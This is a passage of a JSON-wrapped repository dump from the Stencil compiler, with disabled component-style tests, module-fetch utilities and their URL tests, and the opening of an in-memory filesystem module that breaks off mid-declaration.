    "content": "/* eslint-disable jest/no-test-prefixes, jest/no-commented-out-tests, jest/expect-expect -- this file needs to be brought up to date at some point */\n// TODO(STENCIL-487): Investigate reviving this test file\nimport { createCompiler } from '@stencil/core/compiler';\nimport type * as d from '@stencil/core/declarations';\nimport { mockCompilerSystem, mockLoadConfigInit } from '@stencil/core/testing';\nimport path from 'path';\n\nimport { validateConfig } from '../../config/validate-config';\n\nxdescribe('component-styles', () => {\n  jest.setTimeout(20000);\n  let compiler: d.Compiler;\n  const root = path.resolve('/');\n\n  beforeEach(async () => {\n    const sys: d.CompilerSystem = mockCompilerSystem() as any;\n    await sys.writeFile(\n      '/tsconfig.json',\n      `\n      {\n        \"compilerOptions\": {\n          \"experimentalDecorators\": true,\n          \"jsx\": \"react\",\n          \"jsxFactory\": \"h\",\n          \"lib\": [\n            \"dom\",\n            \"es2019\",\n            \"esnext.array\"\n          ],\n          \"module\": \"esnext\",\n          \"moduleResolution\": \"node\",\n          \"target\": \"es2017\"\n        }\n      }\n    `,\n    );\n\n    const { config } = validateConfig(\n      {\n        rootDir: '/',\n        tsconfig: '/tsconfig.json',\n      },\n      mockLoadConfigInit(),\n    );\n    config.sys = sys;\n    compiler = await createCompiler(config);\n\n    // const testingConfig = mockConfig(sys);\n    // testingConfig.rootDir = '/';\n    // testingConfig.cwd = '/';\n    // await sys.writeFile(\n    //   '/stencil.config.json',\n    //   `\n    //   {\n    //     \"compilerOptions\": {\n    //       \"experimentalDecorators\": true,\n    //       \"jsx\": \"react\",\n    //       \"jsxFactory\": \"h\",\n    //       \"lib\": [\n    //         \"dom\",\n    //         \"es2018\",\n    //         \"esnext.array\"\n    //       ],\n    //       \"module\": \"esnext\",\n    //       \"moduleResolution\": \"node\",\n    //       \"target\": \"es2017\",\n    //     }\n    //   }\n    // `,\n    // );\n    // console.log(sys.readdirSync('/'));\n    // const results = await loadConfig({\n    //   config: testingConfig,\n    //   sys,\n    //   logger,\n    //   configPath: '',\n    //   typescriptPath: '/tsconfig.json',\n    // });\n\n    // const config = results.config;\n\n    // compiler = await createCompiler(config);\n    await compiler.sys.writeFile(path.join(root, 'src', 'index.html'), `<cmp-a></cmp-a>`);\n  });\n\n  it('should build one component w/ out inline style, and re-compile when adding inline styles', async () => {\n    await compiler.sys.writeFile(\n      path.join(root, 'src', 'cmp-a.tsx'),\n      `@Component({ tag: 'cmp-a' }) export class CmpA {}`,\n    );\n    const watcher = await compiler.createWatcher();\n    // compiler.config.watch = true;\n    await watcher.start();\n    // let r = await compiler.build();\n    // expect(r.diagnostics).toHaveLength(0);\n    // expect(r.styleBuildCount).toBe(0);\n    // const rebuildListener = compiler.once('buildFinish');\n    // await compiler.fs.writeFiles(\n    //   {\n    //     [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a', styles: 'body { color: green; }' }) export class CmpA {}`,\n    //   },\n    //   { clearFileCache: true },\n    // );\n    // await compiler.fs.commit();\n    // compiler.trigger('fileUpdate', path.join(root, 'src', 'cmp-a.tsx'));\n    // r = await rebuildListener;\n    // expect(r.diagnostics).toHaveLength(0);\n    // expect(r.hmr.inlineStylesUpdated).toHaveLength(1);\n    // expect(r.hmr.inlineStylesUpdated[0].styleText).toBe(`body { color: green; }`);\n    // const content = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n    // expect(content).toContain(`color: green`);\n    // expect(r.styleBuildCount).toBe(1);\n  });\n\n  // it('should build one component w/ inline style, and re-compile when removing inline styles', async () => {\n  //   compiler.config.watch = true;\n  //   await compiler.fs.writeFiles({\n  //     [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a', styles: 'body { color: green; }' }) export class CmpA {}`,\n  //   });\n  //   await compiler.fs.commit();\n\n  //   let r = await compiler.build();\n  //   expect(r.diagnostics).toHaveLength(0);\n  //   expect(r.styleBuildCount).toBe(1);\n\n  //   const rebuildListener = compiler.once('buildFinish');\n\n  //   await compiler.fs.writeFiles(\n  //     {\n  //       [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a' }) export class CmpA {}`,\n  //     },\n  //     { clearFileCache: true },\n  //   );\n  //   await compiler.fs.commit();\n\n  //   compiler.trigger('fileUpdate', path.join(root, 'src', 'cmp-a.tsx'));\n\n  //   r = await rebuildListener;\n  //   expect(r.diagnostics).toHaveLength(0);\n  //   expect(r.hmr.inlineStylesUpdated).toHaveLength(1);\n  //   expect(r.hmr.inlineStylesUpdated[0].styleText).toBe(``);\n\n  //   const content = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n  //   expect(content).not.toContain(`color: green`);\n  //   expect(r.styleBuildCount).toBe(0);\n  // });\n\n  // it('should build one component w/ inline style, and re-compile on module file changes', async () => {\n  //   compiler.config.watch = true;\n  //   await compiler.fs.writeFiles({\n  //     [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a', styles: 'body { color: red; }' }) export class CmpA {}`,\n  //   });\n  //   await compiler.fs.commit();\n\n  //   let r = await compiler.build();\n  //   expect(r.diagnostics).toHaveLength(0);\n  //   expect(r.styleBuildCount).toBe(1);\n\n  //   let content = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n  //   expect(content).toContain('color: red');\n\n  //   const rebuildListener = compiler.once('buildFinish');\n\n  //   await compiler.fs.writeFiles(\n  //     {\n  //       [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a', styles: 'body { color: green; }' }) export class CmpA {}`,\n  //     },\n  //     { clearFileCache: true },\n  //   );\n  //   await compiler.fs.commit();\n\n  //   compiler.trigger('fileUpdate', path.join(root, 'src', 'cmp-a.tsx'));\n\n  //   r = await rebuildListener;\n  //   expect(r.diagnostics).toHaveLength(0);\n  //   expect(r.diagnostics).toHaveLength(0);\n  //   expect(r.hmr.inlineStylesUpdated).toHaveLength(1);\n  //   expect(r.hmr.inlineStylesUpdated[0].styleText).toContain(`color: green`);\n\n  //   content = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n  //   expect(content).toContain(`color: green`);\n  //   expect(r.styleBuildCount).toBe(1);\n  // });\n\n  // it('should minify styleUrl', async () => {\n  //   compiler.config.watch = true;\n  //   compiler.config.minifyCss = true;\n  //   await compiler.fs.writeFiles({\n  //     [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a', styleUrl: 'cmp-a.css' }) export class CmpA {}`,\n  //     [path.join(root, 'src', 'cmp-a.css')]: `body {    color:        red;    /** plz  minify me **/ }`,\n  //   });\n  //   await compiler.fs.commit();\n\n  //   let r = await compiler.build();\n  //   expect(r.diagnostics).toHaveLength(0);\n  //   expect(r.styleBuildCount).toBe(1);\n\n  //   let content = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n  //   expect(content).toContain(`body{color:red;}`);\n\n  //   const rebuildListener = compiler.once('buildFinish');\n\n  //   await compiler.fs.writeFiles(\n  //     {\n  //       [path.join(root, 'src', 'cmp-a.css')]: `body {    color:        green;    /** plz  minify me **/ }`,\n  //     },\n  //     { clearFileCache: true },\n  //   );\n  //   await compiler.fs.commit();\n\n  //   compiler.trigger('fileUpdate', path.join(root, 'src', 'cmp-a.css'));\n\n  //   r = await rebuildListener;\n  //   expect(r.diagnostics).toHaveLength(0);\n  //   expect(r.styleBuildCount).toBe(1);\n\n  //   content = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n  //   expect(content).toContain(`color:green`);\n  // });\n\n  // it('should build one component w/ styleUrl, and re-compile css import of css import changes', async () => {\n  //   compiler.config.watch = true;\n  //   await compiler.fs.writeFiles({\n  //     [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a', styleUrl: 'file-a.css', shadow: true }) export class CmpA {}`,\n  //     [path.join(root, 'src', 'file-a.css')]: `@import \"file-b.css\"; div { color: red; }`,\n  //     [path.join(root, 'src', 'file-b.css')]: `@import \"file-c.css\"; span { color: green; }`,\n  //     [path.join(root, 'src', 'file-c.css')]: `p { color: blue; }`,\n  //   });\n  //   await compiler.fs.commit();\n\n  //   let r = await compiler.build();\n  //   expect(r.diagnostics).toHaveLength(0);\n  //   expect(r.components).toHaveLength(1);\n  //   expect(r.transpileBuildCount).toBe(1);\n  //   expect(r.styleBuildCount).toBe(1);\n\n  //   let content = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n  //   expect(content).toContain(`color: red`);\n  //   expect(content).toContain(`color: green`);\n  //   expect(content).toContain(`color: blue`);\n\n  //   const rebuildListener = compiler.once('buildFinish');\n\n  //   await compiler.fs.writeFiles(\n  //     {\n  //       [path.join(root, 'src', 'file-c.css')]: `p { color: yellow; }`,\n  //     },\n  //     { clearFileCache: true },\n  //   );\n  //   await compiler.fs.commit();\n\n  //   compiler.trigger('fileUpdate', path.join(root, 'src', 'file-c.css'));\n\n  //   r = await rebuildListener;\n  //   expect(r.diagnostics).toHaveLength(0);\n  //   expect(r.styleBuildCount).toBe(1);\n\n  //   content = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n  //   expect(content).toContain(`color: red`);\n  //   expect(content).toContain(`color: green`);\n  //   expect(content).not.toContain(`color: blue`);\n  //   expect(content).toContain(`color: yellow`);\n  // });\n\n  // it('should build one component w/ styleUrl, and not re-compile styles w/ no style changes', async () => {\n  //   compiler.config.watch = true;\n  //   await compiler.fs.writeFiles({\n  //     [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a', styleUrl: 'cmp-a.css', shadow: true }) export class CmpA {}`,\n  //     [path.join(root, 'src', 'cmp-a.css')]: `body { color: red; }`,\n  //   });\n  //   await compiler.fs.commit();\n\n  //   let r = await compiler.build();\n  //   expect(r.diagnostics).toHaveLength(0);\n  //   expect(r.components).toHaveLength(1);\n  //   expect(r.transpileBuildCount).toBe(1);\n  //   expect(r.styleBuildCount).toBe(1);\n\n  //   let content = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n  //   expect(content).toContain(`color: red`);\n\n  //   const rebuildListener = compiler.once('buildFinish');\n\n  //   await compiler.fs.writeFiles(\n  //     {\n  //       [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a', styleUrl: 'cmp-a.css' }) export class CmpA { constructor() { console.log('88'); } }`,\n  //     },\n  //     { clearFileCache: true },\n  //   );\n  //   await compiler.fs.commit();\n\n  //   compiler.trigger('fileUpdate', path.join(root, 'src', 'cmp-a.tsx'));\n\n  //   r = await rebuildListener;\n  //   expect(r.diagnostics).toHaveLength(0);\n  //   expect(r.styleBuildCount).toBe(0);\n\n  //   content = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n  //   expect(content).toContain(`color: red`);\n  //   expect(content).toContain(`console.log('88')`);\n  // });\n\n  // it('should build one component w/ styleUrl, and re-compile component decorator styles url changes', async () => {\n  //   compiler.config.watch = true;\n  //   await compiler.fs.writeFiles({\n  //     [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a', styleUrl: 'cmp-a-red.css', shadow: true }) export class CmpA {}`,\n  //     [path.join(root, 'src', 'cmp-a-red.css')]: `body { color: red; }`,\n  //     [path.join(root, 'src', 'cmp-a-blue.css')]: `body { color: blue; }`,\n  //   });\n  //   await compiler.fs.commit();\n\n  //   let r = await compiler.build();\n  //   expect(r.diagnostics).toHaveLength(0);\n  //   expect(r.components).toHaveLength(1);\n  //   expect(r.transpileBuildCount).toBe(1);\n  //   expect(r.styleBuildCount).toBe(1);\n\n  //   let content = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n  //   expect(content).toContain(`color: red`);\n\n  //   const rebuildListener = compiler.once('buildFinish');\n\n  //   await compiler.fs.writeFiles(\n  //     {\n  //       [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a', styleUrl: 'cmp-a-blue.css' }) export class CmpA { constructor() { console.log('88'); } }`,\n  //     },\n  //     { clearFileCache: true },\n  //   );\n  //   await compiler.fs.commit();\n\n  //   compiler.trigger('fileUpdate', path.join(root, 'src', 'cmp-a.tsx'));\n\n  //   r = await rebuildListener;\n  //   expect(r.diagnostics).toHaveLength(0);\n  //   expect(r.styleBuildCount).toBe(1);\n\n  //   content = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n  //   expect(content).toContain(`color: blue`);\n  //   expect(content).toContain(`console.log('88')`);\n  // });\n});\n"
  },
  {
    "path": "src/compiler/style/test/style.spec.ts",
    "content": "// @ts-nocheck\n/* eslint-disable jest/no-test-prefixes, jest/no-commented-out-tests -- this file needs to be brought up to date at some point */\n// TODO(STENCIL-464): remove // @ts-nocheck as part of getting these tests to pass\nimport { Compiler, Config } from '@stencil/core/compiler';\nimport { mockConfig } from '@stencil/core/testing';\nimport path from 'path';\n\n// TODO(STENCIL-464): investigate getting these tests to run again\nxdescribe('component-styles', () => {\n  jest.setTimeout(20000);\n  let compiler: Compiler;\n  let config: Config;\n  const root = path.resolve('/');\n\n  beforeEach(async () => {\n    config = mockConfig({\n      minifyCss: true,\n      minifyJs: true,\n      hashFileNames: true,\n    });\n    compiler = new Compiler(config);\n    await compiler.fs.writeFile(path.join(root, 'src', 'index.html'), `<cmp-a></cmp-a>`);\n    await compiler.fs.commit();\n  });\n\n  it('should add mode styles to hashed filename/minified builds', async () => {\n    compiler.config.hashedFileNameLength = 2;\n    await compiler.fs.writeFiles({\n      [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({\n        tag: 'cmp-a',\n        styleUrls: {\n          ios: 'cmp-a.ios.css',\n          md: 'cmp-a.md.css'\n        }\n      })\n      export class CmpA {}`,\n\n      [path.join(root, 'src', 'cmp-a.ios.css')]: `body{font-family:Helvetica}`,\n      [path.join(root, 'src', 'cmp-a.md.css')]: `body{font-family:Roboto}`,\n    });\n    await compiler.fs.commit();\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toHaveLength(0);\n\n    let hasIos = false;\n    let hasMd = false;\n\n    r.filesWritten.forEach((f) => {\n      const content = compiler.fs.readFileSync(f);\n      if (content.includes(`body{font-family:Helvetica}`)) {\n        hasIos = true;\n      } else if (content.includes(`body{font-family:Roboto}`)) {\n        hasMd = true;\n      }\n    });\n\n    expect(hasIos).toBe(true);\n    expect(hasMd).toBe(true);\n  });\n\n  it('should add default styles to hashed filename/minified builds', async () => {\n    compiler.config.sys.generateContentHash = function () {\n      return 'hashed';\n    };\n\n    await compiler.fs.writeFiles({\n      [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a', styleUrl: 'cmp-a.css' }) export class CmpA {}`,\n      [path.join(root, 'src', 'cmp-a.css')]: `body{color:red}`,\n    });\n    await compiler.fs.commit();\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toHaveLength(0);\n\n    const content = await compiler.fs.readFile(path.join(root, 'www', 'build', 'p-hashed.entry.js'));\n    expect(content).toContain(`body{color:red}`);\n  });\n});\n"
  },
  {
    "path": "src/compiler/style/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/compiler/sys/config.ts",
    "content": "import { createNodeLogger } from '@sys-api-node';\n\nimport { createConfigFlags } from '../../cli/config-flags';\nimport type * as d from '../../declarations';\nimport { validateConfig } from '../config/validate-config';\n\n/**\n * Given a user-supplied config, get a validated config which can be used to\n * start building a Stencil project.\n *\n * @param userConfig a configuration object\n * @returns a validated config object with stricter typing\n */\nexport const getConfig = (userConfig: d.Config): d.ValidatedConfig => {\n  userConfig.logger = userConfig.logger ?? createNodeLogger();\n  const flags = createConfigFlags(userConfig.flags ?? {});\n  userConfig.flags = flags;\n  const config: d.ValidatedConfig = validateConfig(userConfig, {}).config;\n\n  return config;\n};\n"
  },
  {
    "path": "src/compiler/sys/environment.ts",
    "content": "export const IS_WINDOWS_ENV = process.platform === 'win32';\n\nexport const IS_CASE_SENSITIVE_FILE_NAMES = !IS_WINDOWS_ENV;\n"
  },
  {
    "path": "src/compiler/sys/fetch/fetch-module-async.ts",
    "content": "import type * as d from '../../../declarations';\nimport { InMemoryFileSystem } from '../in-memory-fs';\nimport { httpFetch, known404Urls } from './fetch-utils';\nimport { skipFilePathFetch, skipUrlFetch } from './fetch-utils';\nimport { writeFetchSuccessAsync } from './write-fetch-success';\n\nexport const fetchModuleAsync = async (\n  sys: d.CompilerSystem,\n  inMemoryFs: InMemoryFileSystem,\n  pkgVersions: Map<string, string>,\n  url: string,\n  filePath: string,\n) => {\n  if (skipFilePathFetch(filePath) || known404Urls.has(url) || skipUrlFetch(url)) {\n    return undefined;\n  }\n\n  try {\n    const rsp = await httpFetch(sys, url);\n    if (rsp) {\n      if (rsp.ok) {\n        const content = await rsp.clone().text();\n        await writeFetchSuccessAsync(sys, inMemoryFs, url, filePath, content, pkgVersions);\n        return content;\n      }\n\n      if (rsp.status === 404) {\n        known404Urls.add(url);\n      }\n    }\n  } catch (e) {\n    console.error(e);\n  }\n\n  return undefined;\n};\n"
  },
  {
    "path": "src/compiler/sys/fetch/fetch-module-sync.ts",
    "content": "import { isString } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { InMemoryFileSystem } from '../in-memory-fs';\nimport { known404Urls } from './fetch-utils';\nimport { skipFilePathFetch, skipUrlFetch } from './fetch-utils';\nimport { writeFetchSuccessSync } from './write-fetch-success';\n\nexport const fetchModuleSync = (\n  sys: d.CompilerSystem,\n  inMemoryFs: InMemoryFileSystem,\n  pkgVersions: Map<string, string>,\n  url: string,\n  filePath: string,\n) => {\n  if (skipFilePathFetch(filePath)) {\n    return undefined;\n  }\n\n  const content = fetchUrlSync(url);\n  if (isString(content)) {\n    writeFetchSuccessSync(sys, inMemoryFs, url, filePath, content, pkgVersions);\n  }\n\n  return content;\n};\n\nexport const fetchUrlSync = (url: string) => {\n  if (known404Urls.has(url) || skipUrlFetch(url)) {\n    return undefined;\n  }\n\n  try {\n    const xhr = new XMLHttpRequest();\n    xhr.open('GET', url, false);\n    xhr.send(null);\n\n    if (xhr.status >= 200 && xhr.status <= 299) {\n      return xhr.responseText;\n    }\n  } catch (e) {}\n\n  known404Urls.add(url);\n\n  return undefined;\n};\n"
  },
  {
    "path": "src/compiler/sys/fetch/fetch-utils.ts",
    "content": "import { isFunction, isTsFile, isTsxFile, normalizePath } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { isCommonDirModuleFile } from '../resolve/resolve-utils';\n\n/**\n * A fetch wrapper which dispatches to `sys.fetch` if present, and otherwise\n * uses `global.fetch`.\n *\n * @param sys a compiler system object\n * @param input a `RequestInfo` object\n * @param init an optional `RequestInit` object\n * @returns a Promise wrapping a response\n */\nexport const httpFetch = (sys: d.CompilerSystem, input: RequestInfo, init?: RequestInit): Promise<Response> => {\n  if (sys && isFunction(sys.fetch)) {\n    return sys.fetch(input, init);\n  }\n  return fetch(input, init);\n};\n\nexport const packageVersions = new Map<string, string>();\nexport const known404Urls = new Set<string>();\n\n/**\n * Get the URL for a Stencil module given the path to the compiler\n *\n * @param compilerExe the path to the compiler executable\n * @param path the path to the module or file in question\n * @returns a URL for the file of interest\n */\nexport const getStencilModuleUrl = (compilerExe: string, path: string): string => {\n  path = normalizePath(path);\n  let parts = path.split('/');\n  const nmIndex = parts.lastIndexOf('node_modules');\n  if (nmIndex > -1 && nmIndex < parts.length - 1) {\n    parts = parts.slice(nmIndex + 1);\n    if (parts[0].startsWith('@')) {\n      parts = parts.slice(2);\n    } else {\n      parts = parts.slice(1);\n    }\n    path = parts.join('/');\n  }\n  const stencilRootUrl = new URL('../', compilerExe).href;\n  return new URL('./' + path, stencilRootUrl).href;\n};\n\nexport const skipFilePathFetch = (filePath: string) => {\n  if (isTsFile(filePath) || isTsxFile(filePath)) {\n    // don't bother trying to resolve  node_module packages w/ typescript files\n    // they should already be .js files\n    return true;\n  }\n\n  const pathParts = filePath.split('/');\n  const secondToLast = pathParts[pathParts.length - 2];\n  const lastPart = pathParts[pathParts.length - 1];\n  if (secondToLast === 'node_modules' && isCommonDirModuleFile(lastPart)) {\n    // /node_modules/index.js\n    // /node_modules/lodash.js\n    // we just already know this is bogus, so don't bother\n    return true;\n  }\n\n  return false;\n};\n\nexport const skipUrlFetch = (url: string) =>\n  // files we just already know not to try to resolve request\n  knownUrlSkips.some((knownSkip) => url.endsWith(knownSkip));\n\nconst knownUrlSkips = [\n  '/@stencil/core/internal.js',\n  '/@stencil/core/internal.json',\n  '/@stencil/core/internal.mjs',\n  '/@stencil/core/internal/stencil-core.js/index.json',\n  '/@stencil/core/internal/stencil-core.js.json',\n  '/@stencil/core/internal/stencil-core.js/package.json',\n  '/@stencil/core.js',\n  '/@stencil/core.json',\n  '/@stencil/core.mjs',\n  '/@stencil/core.css',\n  '/@stencil/core/index.js',\n  '/@stencil/core/index.json',\n  '/@stencil/core/index.mjs',\n  '/@stencil/core/index.css',\n  '/@stencil/package.json',\n];\n"
  },
  {
    "path": "src/compiler/sys/fetch/tests/fetch-module.spec.ts",
    "content": "import { getStencilModuleUrl, skipFilePathFetch } from '../fetch-utils';\n\ndescribe('fetch module', () => {\n  let compilerExe: string;\n\n  beforeEach(() => {\n    compilerExe = 'http://localhost:3333/@stencil/core/compiler/stencil.js';\n  });\n\n  describe('getStencilModulePath', () => {\n    it('cdn w/ version w/out node_module prefix', () => {\n      compilerExe = 'https://cdn.stenciljs.com/npm/@stencil/core@1.2.3/compiler/stencil.js';\n      const p = 'internal/client/index.mjs';\n      const m = getStencilModuleUrl(compilerExe, p);\n      expect(m).toBe('https://cdn.stenciljs.com/npm/@stencil/core@1.2.3/internal/client/index.mjs');\n    });\n\n    it('cdn w/ version', () => {\n      compilerExe = 'https://cdn.jsdelivr.net/npm/@stencil/core@1.2.3/compiler/stencil.js';\n      const p = '/some/path/node_modules/@stencil/core/package.json';\n      const m = getStencilModuleUrl(compilerExe, p);\n      expect(m).toBe('https://cdn.jsdelivr.net/npm/@stencil/core@1.2.3/package.json');\n    });\n\n    it('cdn w/out version', () => {\n      compilerExe = 'https://cdn.jsdelivr.net/npm/@stencil/core/compiler/stencil.js';\n      const p = '/node_modules/@stencil/core/internal/client/index.mjs';\n      const m = getStencilModuleUrl(compilerExe, p);\n      expect(m).toBe('https://cdn.jsdelivr.net/npm/@stencil/core/internal/client/index.mjs');\n    });\n\n    it('local w/out version w/out node_module prefix', () => {\n      const p = 'package.json';\n      const m = getStencilModuleUrl(compilerExe, p);\n      expect(m).toBe('http://localhost:3333/@stencil/core/package.json');\n    });\n\n    it('local w/out version', () => {\n      const p = '/node_modules/@stencil/core/package.json';\n      const m = getStencilModuleUrl(compilerExe, p);\n      expect(m).toBe('http://localhost:3333/@stencil/core/package.json');\n    });\n  });\n});\n\ndescribe('skipFilePathFetch', () => {\n  it('skip for known bogus node_module paths', () => {\n    expect(skipFilePathFetch('/node_modules/index.mjs')).toBe(true);\n    expect(skipFilePathFetch('/node_modules/lodash.js')).toBe(true);\n    expect(skipFilePathFetch('/node_modules/lodash.md')).toBe(true);\n    expect(skipFilePathFetch('/node_modules/lodash.json')).toBe(true);\n    expect(skipFilePathFetch('/asdf/gadsf/aessd/gaes/node_modules/lodash.js')).toBe(true);\n    expect(skipFilePathFetch('/asdf/node_modules/whatever/lodash.js')).toBe(false);\n  });\n\n  it('skip for ts and tsx', () => {\n    expect(skipFilePathFetch('whatever.ts')).toBe(true);\n    expect(skipFilePathFetch('whatever.tsx')).toBe(true);\n  });\n});\n"
  },
  {
    "path": "src/compiler/sys/fetch/write-fetch-success.ts",
    "content": "import { dirname } from 'path';\n\nimport type * as d from '../../../declarations';\nimport { InMemoryFileSystem } from '../in-memory-fs';\nimport { setPackageVersionByContent } from '../resolve/resolve-utils';\n\nexport const writeFetchSuccessSync = (\n  sys: d.CompilerSystem,\n  inMemoryFs: InMemoryFileSystem,\n  url: string,\n  filePath: string,\n  content: string,\n  pkgVersions: Map<string, string>,\n) => {\n  if (url.endsWith('package.json')) {\n    setPackageVersionByContent(pkgVersions, content);\n  }\n\n  let dir = dirname(filePath);\n  while (dir !== '/' && dir !== '') {\n    if (inMemoryFs) {\n      inMemoryFs.clearFileCache(dir);\n      inMemoryFs.sys.createDirSync(dir);\n    } else {\n      sys.createDirSync(dir);\n    }\n\n    dir = dirname(dir);\n  }\n\n  if (inMemoryFs) {\n    inMemoryFs.clearFileCache(filePath);\n    inMemoryFs.sys.writeFileSync(filePath, content);\n  } else {\n    sys.writeFileSync(filePath, content);\n  }\n};\n\nexport const writeFetchSuccessAsync = async (\n  sys: d.CompilerSystem,\n  inMemoryFs: InMemoryFileSystem,\n  url: string,\n  filePath: string,\n  content: string,\n  pkgVersions: Map<string, string>,\n) => {\n  if (url.endsWith('package.json')) {\n    setPackageVersionByContent(pkgVersions, content);\n  }\n\n  let dir = dirname(filePath);\n  while (dir !== '/' && dir !== '') {\n    if (inMemoryFs) {\n      inMemoryFs.clearFileCache(dir);\n      await inMemoryFs.sys.createDir(dir);\n    } else {\n      await sys.createDir(dir);\n    }\n\n    dir = dirname(dir);\n  }\n\n  if (inMemoryFs) {\n    inMemoryFs.clearFileCache(filePath);\n    await inMemoryFs.sys.writeFile(filePath, content);\n  } else {\n    await sys.writeFile(filePath, content);\n  }\n};\n"
  },
  {
    "path": "src/compiler/sys/in-memory-fs.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport { isIterable, isString, normalizePath, relative } from '@utils';\nimport { basename, dirname } from 'path';\n\n/**\n * An in-memory FS which proxies the underlying OS filesystem using a simple\n * in-memory cache. FS writes can accumulate on the in-memory system, using an\n * API similar to Node.js' `\"fs\"` module, and then be committed to disk as a\n * unit.\n *\n * Files written to the in-memory system can be edited, deleted, and so on.\n * This allows the compiler to proceed freely as if it is modifying the\n * filesystem, modifying the world in whatever way suits it, while deferring\n * actual FS writes until the end of the compilation process, making actual\n * changes to the filesystem on disk contingent on an error-free build or any\n * other condition.\n *\n * Usage example:\n *\n * ```ts\n * // create an in-memory FS\n * const sys = createSystem();\n * const inMemoryFs = createInMemoryFs(sys);\n *\n * // do a few fs operations\n * await inMemoryFs.writeFile(\"path/to/file.js\", 'console.log(\"hey!\");')\n * await inMemoryFs.remove(\"path/to/another_file.ts\");\n *\n * // commit the results to disk\n * const commitStats = await inMemoryFs.commit();\n * ```\n *\n * In the above example the write operation and the delete operation (w/\n * `.remove`) are both queued in the in-memory proxy but not committed to\n * disk until the `.commit` method is called.\n */\nexport type InMemoryFileSystem = ReturnType<typeof createInMemoryFs>;\n\n/**\n * A node in the in-memory file system. This may represent a file or\n * a directory, and pending copy, write, and delete operations may be stored\n * on it.\n */\nexport interface FsItem {\n  fileText: string;\n  isFile: boolean;\n  isDirectory: boolean;\n  size: number;\n  mtimeMs: number;\n  exists: boolean;\n  queueCopyFileToDest: string;\n  queueWriteToDisk: boolean;\n  queueDeleteFromDisk?: boolean;\n  useCache: boolean;\n}\n\n/**\n * Storage format for the in-memory cache used to proxy the OS filesystem.\n *\n * Filesystem paths (of type `string`) are mapped to objects satisfying the\n * `FsItem` interface.\n */\nexport type FsItems = Map<string, FsItem>;\n\n/**\n * Options supported by write methods on the in-memory filesystem.\n */\nexport interface FsWriteOptions {\n  /**\n   * only use the in-memory cache and do not write the file to disk\n   */\n  inMemoryOnly?: boolean;\n  clearFileCache?: boolean;\n  /**\n   * flush the write to disk immediately, skipping the in-memory cache\n   */\n  immediateWrite?: boolean;\n  /**\n   * specify that the cache should be used\n   */\n  useCache?: boolean;\n  /**\n   * An optional tag for the current output target for which this file is being\n   * written.\n   */\n  outputTargetType?: string;\n}\n\n/**\n * Results from a write operation on the in-memory filesystem.\n */\nexport interface FsWriteResults {\n  changedContent: boolean;\n  queuedWrite: boolean;\n  ignored: boolean;\n}\n\n/**\n * Options supported by read methods on the in-memory filesystem.\n */\nexport interface FsReadOptions {\n  useCache?: boolean;\n  setHash?: boolean;\n}\n\n/**\n * Options supported by the readdir option on the in-memory filesystem.\n */\ninterface FsReaddirOptions {\n  inMemoryOnly?: boolean;\n  recursive?: boolean;\n  /**\n   * Directory names to exclude. Just the basename,\n   * not the entire path. Basically for \"node_modules\".\n   */\n  excludeDirNames?: string[];\n  /**\n   * Extensions we know we can avoid. Each extension\n   * should include the `.` so that we can test for both\n   * `.d.ts.` and `.ts`. If `excludeExtensions` isn't provided it\n   * doesn't try to exclude anything. This only checks against\n   * the filename, not directory names when recursive.\n   */\n  excludeExtensions?: string[];\n}\n\n/**\n * A result from a directory read operation\n */\ninterface FsReaddirItem {\n  absPath: string;\n  relPath: string;\n  isDirectory: boolean;\n  isFile: boolean;\n}\n\n/**\n * Information about a file in the in-memory filesystem.\n */\ninterface FsStat {\n  exists: boolean;\n  isFile: boolean;\n  isDirectory: boolean;\n  size: number;\n}\n\n/**\n * Create an in-memory FS which proxies the underlying OS filesystem using an\n * in-memory cache. FS writes can accumulate on the in-memory system, using an\n * API similar to Node.js' `\"fs\"` module, and then be committed to disk as a\n * unit.\n *\n * Files written to the in-memory system can be edited, deleted, and so on.\n * This allows the compiler to proceed freely as if it is modifying the\n * filesystem, modifying the world in whatever way suits it, while deferring\n * actual FS writes until the end of the compilation process, making actual\n * changes to the filesystem on disk contingent on an error-free build or any\n * other condition.\n *\n * @param sys a compiler system object\n * @returns an in-memory filesystem interface\n */\nexport const createInMemoryFs = (sys: d.CompilerSystem) => {\n  /**\n   * Map to hold the items in the in-memory cache which proxies the underlying\n   * OS filesystem.\n   */\n  const items: FsItems = new Map();\n  const 